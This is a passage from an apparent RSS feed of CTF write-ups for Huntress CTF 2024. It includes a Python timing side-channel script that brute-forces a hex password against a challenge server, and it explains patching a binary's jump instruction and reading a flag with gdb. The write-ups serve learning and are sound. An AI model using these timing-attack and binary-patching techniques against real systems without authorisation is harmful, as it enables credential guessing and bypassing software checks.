&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        nextstr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; chars:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            nextstr &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; hex(i)[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        chars[seek] &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; nextstr
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        selected &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; timings&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;index(max(timings))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Selected: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;format(selected))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        chars[seek] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; selected
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        timings&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;clear()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        seek &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; getNext()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;readFromSocket&lt;/span&gt;(soc: socket&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;socket) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; str:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    readBuffer, _, _ &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; select&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;select([soc], [], [], &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; readBuffer:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fromserver &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; soc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recv(&lt;span style=&#34;color:#ae81ff&#34;&gt;2048&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; fromserver
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; __name__&lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    nextpass&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cSoc &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; socket&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;socket(socket&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;AF_INET,socket&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;SOCK_STREAM)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cSoc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;setsockopt(socket&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;SOL_SOCKET,socket&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;SO_REUSEADDR,&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cSoc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;connect((&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;challenge.ctf.games&amp;#39;&lt;/span&gt;,int(sys&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;])))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    start &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; time&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;time()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inLine &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; readFromSocket(cSoc)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; inLine &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#66d9ef&#34;&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        diff &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; time&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;time()&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;start
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        timings&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;append(diff)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;    Timing: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;, value: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;, Server: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;format(diff, nextpass, inLine),end&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        nextpass &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; getNext()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        cSoc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send((nextpass&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        start &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; time&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;time()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The code is mostly self explanatory, but let me give a quick run down. Function &lt;code&gt;getNext&lt;/code&gt; generates the guesses based on the value of variable &lt;code&gt;seek&lt;/code&gt; starting from 0 to 7, hence mimicking moving left to right. I used a list of integers to house the guesses as we are working with hex numbers. On each complete iteration on a particular seek, it goes from 0 to f(15) and sets the character to the highest timing taken to come back. Function &lt;code&gt;readFromSocket&lt;/code&gt; is just one of my arsenal functions to deal with the blocking thing of &lt;code&gt;recv&lt;/code&gt; function. Then there is &lt;code&gt;main&lt;/code&gt; that puts everything together.&lt;/p&gt;
&lt;p&gt;All that&amp;rsquo;s left now is to execute the script, sit back and look out for flag. Since this operation is over the network, it might take more than a couple tries to get things right. Like for instance, in the below execution the timing of the return remains as &lt;code&gt;0.3&lt;/code&gt; seconds on average across different seek positions. So it is safe to conclude that the right character was not set.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/time-will-tell/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;failure attempt&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;But with a few tries, the timings across the seek positions will vary reliably indicating right guesses. If you are patient enough to try multiple times, it should work. Like the one below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/time-will-tell/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;success&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Overall, this was a good challenge. I had fun will putting together the script. And it kind of mimics certain real-world scenarios based on timing based attacks. So yeah, I liked this one.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Reverse Engineering - GoCrackMe1</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/re-gocrackme1/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/re-gocrackme1/</guid>
        <description>&lt;h1 id=&#34;gocrackme1&#34;&gt;GoCrackMe1
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @HuskyHacks&lt;/p&gt;
&lt;p&gt;TENNNNNN-HUT!&lt;/p&gt;
&lt;p&gt;Welcome to the Go Dojo, gophers in training!&lt;/p&gt;
&lt;p&gt;Go malware is on the rise. So we need you to sharpen up those Go reverse engineering skills. We&amp;rsquo;ve written three simple CrackMe programs in Go to turn you into Go-binary reverse engineering ninjas!&lt;/p&gt;
&lt;p&gt;First up is the easiest of the three. Go get em!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Archive password: &lt;code&gt;infected&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/gocrackme1/GoCrackMe1.zip&#34; &gt;GoCrackMe1.zip&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Extracting the archive we are provided with ELF executable (linux executable) that is obviously written and compiled with Go language.&lt;/p&gt;
&lt;p&gt;Even though this is a reverse engineering challenge, my first thought was to run it. So when I ran it (of course in a virtual machine), I got an &amp;ldquo;Access denied!&amp;rdquo; straight. So there is a good chance there is a conditional statement in the binary, that controls the execution flow.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/gocrackme1/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;access denied&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So I decided to do a static analysis and opened the file in &lt;a class=&#34;link&#34; href=&#34;https://github.com/rizinorg/cutter&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Cutter&lt;/a&gt; which is a nice frontend for the &lt;a class=&#34;link&#34; href=&#34;https://github.com/radareorg/radare2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;radare2&lt;/a&gt; tool. Opening it, there was a lot of functions inside that turned up in the analysis. But Go language like most language, starts it execution from main function, I decided to look for the main function.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/gocrackme1/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;main function&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;At first I was focused on the hex data that was being declared and initialized. On a quick look they might seem like data put in different variables across different locations. But you see, they are being written to consecutive locations right after one another. The reason why they are broken is because they are moved to the memory in different instructions. Some decompilers may recognize this and collate them, but the one I used didn&amp;rsquo;t.&lt;/p&gt;
&lt;p&gt;But then I looked below it, and saw a if-else statement. Since I already suspected a conditional statement somewhere that controls the flow, I thought this might be it. Both the if and else block contained a fprintln function which is basically print function in Go. Whatever the case might be, if this indeed is the check I&amp;rsquo;m looking for then reversing the jump statement that directs the execution flow should execute the other part.&lt;/p&gt;
&lt;p&gt;Cutter allows one to patch binaries if opened in write mode. So I made a copy of the binary as a backup if it is not what I think it is and switch to write mode. In Cutter any changes made to the binary in write mode is instantly written to the binary which is in contrast to several other tools which requires some sort of explicit &amp;lsquo;Patch binary&amp;rsquo; options to write to binary.&lt;/p&gt;
&lt;p&gt;So now, I&amp;rsquo;m looking for a jump statement in the disassembly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/gocrackme1/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;disassembly&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;As I skimmed through the disassembly, the disassembler could locate the call that goes to the function &lt;code&gt;checkCondition&lt;/code&gt;. Following it is a &lt;code&gt;test&lt;/code&gt; instruction and a &lt;code&gt;je&lt;/code&gt; (jump if equal) condition. So basically this &lt;code&gt;je&lt;/code&gt; instruction is what I&amp;rsquo;m looking for.&lt;/p&gt;
&lt;p&gt;Cutter provides option to edit the instruction in such a way to reverse the jump, that is change &lt;code&gt;je&lt;/code&gt; to &lt;code&gt;jne&lt;/code&gt;. This turns the execution around.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/gocrackme1/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;reversing jump&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now that I&amp;rsquo;ve reversed the jump now, all I have to do to test my theory is to run it. Which indeed provides the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/gocrackme1/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Even though I got the flag, I still wanted to check if the data I was focused on previously was indeed the data that was xored to give the flag. So I opened cyberchef, copied the data in it and put the key. You may find the key at the other end of the expression in the for loop which is &lt;code&gt;0x56&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/gocrackme1/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;another flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;And it indeed was that data. So this could be considered an alternate method to do the challenge.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Reverse Engineering - Stack It</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/re-stack-it/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/re-stack-it/</guid>
        <description>&lt;h1 id=&#34;stack-it&#34;&gt;Stack It
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @sudo_Rem&lt;/p&gt;
&lt;p&gt;Our team of security analysts recently worked through a peculiar Lumma sample.&lt;/p&gt;
&lt;p&gt;The dentists helping us advised we floss at least twice a day to help out.&lt;/p&gt;
&lt;p&gt;He also gave us this weird file. Maybe you can help us out.&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/stack-it/stack_it.bin&#34; &gt;stack_it.bin&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This challenge was accompanied with a per-user instance&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Running file command on the attachment, we can see that it&amp;rsquo;s an ELF executable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/stack-it/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;file command&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Since this is a Reverse Engineering challenge I decided look into the disassembly. I used &lt;a class=&#34;link&#34; href=&#34;https://github.com/rizinorg/cutter&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Cutter&lt;/a&gt; with Ghidra decompiler plugin to disassemble and decompile the ELF binary for me.&lt;/p&gt;
&lt;p&gt;Luckily there was only one function in the ELF executable and it was fairly easy to understand. Let me walk you through it. Below is the screenshot of the decompiled function:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/stack-it/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;decompiled function&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;First thing we can notice is some data is written directly to the memory addresses &lt;code&gt;0x0804a050&lt;/code&gt; till &lt;code&gt;0x0804a054&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/stack-it/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;data decoded&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;And if you look at the data it is writing, this is hexadecimal for the characters f, l, a, g and {. Seems familiar huh?&lt;/p&gt;
&lt;p&gt;Next up we can notice variables &lt;code&gt;puVar7&lt;/code&gt; and &lt;code&gt;puVar8&lt;/code&gt; (names given by the decompiler), are initialized to some strings each.  It doesn&amp;rsquo;t matter much right now, but it will in a moment.&lt;/p&gt;
&lt;p&gt;We can also see another variable, a pointer to be specific, is made to point the address &lt;code&gt;0x0804a055&lt;/code&gt;. This is right after where the program wrote the &amp;lsquo;{&amp;rsquo; character above.&lt;/p&gt;
&lt;p&gt;Then there is a loop where the contents from &lt;code&gt;puVar7&lt;/code&gt; and &lt;code&gt;puVar8&lt;/code&gt; are XORed and put in the address of &lt;code&gt;puVar4&lt;/code&gt; incrementally, which is just a temporary pointer with same address as &lt;code&gt;puVar2&lt;/code&gt;, the original pointer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/stack-it/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;post write&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Once the loop is over,  couple bytes of data is put at the end of it. It is &lt;code&gt;0x7d&lt;/code&gt; which is the &amp;lsquo;}&amp;rsquo; character and the 0 is essentially the null terminator. So this is our flag. But if you follow along the code, you&amp;rsquo;ll notice data is written again starting from &lt;code&gt;0x0804a050&lt;/code&gt; which is the start of the flag.&lt;/p&gt;
&lt;p&gt;So essentially, our flag is written to the memory, actually in the stack as it is a local variable, and then rewritten again. So to acquire the flag, we have to stop the execution midway and read the memory directly.&lt;/p&gt;
&lt;p&gt;We can use a debugger, a program that can stop execution of a running program and analyze it from various perspectives. It was originally intended for programmers to debug programs, but the print (or cout) statement method is widely used (so do I). So mostly it is used for reverse engineering and malware analysis.&lt;/p&gt;
&lt;p&gt;Anyway I went with using the GNU debugger (gdb) to get the job done. Oh and yeah, we are about the execute an unknown binary in a control manner, but still executing it. So it is advisable to do this in a virtual environment so that your main system is not affected. Checkout my &lt;a class=&#34;link&#34; href=&#34;https://github.com/ItsMonish/archvm-script&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;hacky script&lt;/a&gt; to quickly setup a arch linux vm.&lt;/p&gt;
&lt;p&gt;On loading the program with gdb, we can see that there is no symbols loaded required for &amp;ldquo;debugging&amp;rdquo;. Simply put we cannot disassemble the code directly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/stack-it/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;no debugging symbols&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;But we already have the address actually. Cutter already disassembled the code and the assembly code is under the disassembly section.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/stack-it/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;disassembly&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So we need address of the instruction right after the insertion of &amp;lsquo;}&amp;rsquo; character into the address space. So that address seems to be &lt;code&gt;0x8049045&lt;/code&gt;. So all I have to do is set a breakpoint at that address and examine the address space at &lt;code&gt;0x0804a050&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/stack-it/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;execution and flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Set up a breakpoint at &lt;code&gt;0x08049048&lt;/code&gt; using command &lt;code&gt;break *0x08049048&lt;/code&gt;, then run the program to hit the breakpoint. Examined the address &lt;code&gt;0x0804a050&lt;/code&gt; with &lt;code&gt;x/30s 0x0804a050&lt;/code&gt; ( x - examine, 30 - 30 spaces, s - string format ). Why 30 strings? Not sure why but I do it like that. So yup, there&amp;rsquo;s the flag.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Scripting - Base64by32</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/scripting-base64by32/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/scripting-base64by32/</guid>
        <description>&lt;h1 id=&#34;base64by32&#34;&gt;Base64by32
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;This is a dumb challenge. I&amp;rsquo;m sorry.&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/base64by32/base64by32.zip&#34; &gt;base64by32.zip&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Unzipping the archive we are given with a text file, &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/base64by32/base64by32&#34; &gt;base64by32&lt;/a&gt;.  Opening this file, we see a lot of data in strings. If you are familiar with few types of encodings of binary as text, you may recognize this as base64 encoded data right off the bat. Or you can infer that from the title of the challenge as well.&lt;/p&gt;
&lt;p&gt;So I decided to decode the data with command line base64 utility.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base64by32/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;first decoding&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;The result of the decoding is also base64 encoded data. Since the lines of data are huge, this made to believe there were lot of rounds of encodings done on the data. So how many times, since the title hints &amp;ldquo;-by32&amp;rdquo;, I thought this indicated 32 rounds of decoding is required. So I put in a python script &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/base64by32/solve.py&#34; &gt;solve.py&lt;/a&gt; with the contents:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; base64
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;contents &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; open(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./base64by32&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    contents &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;):
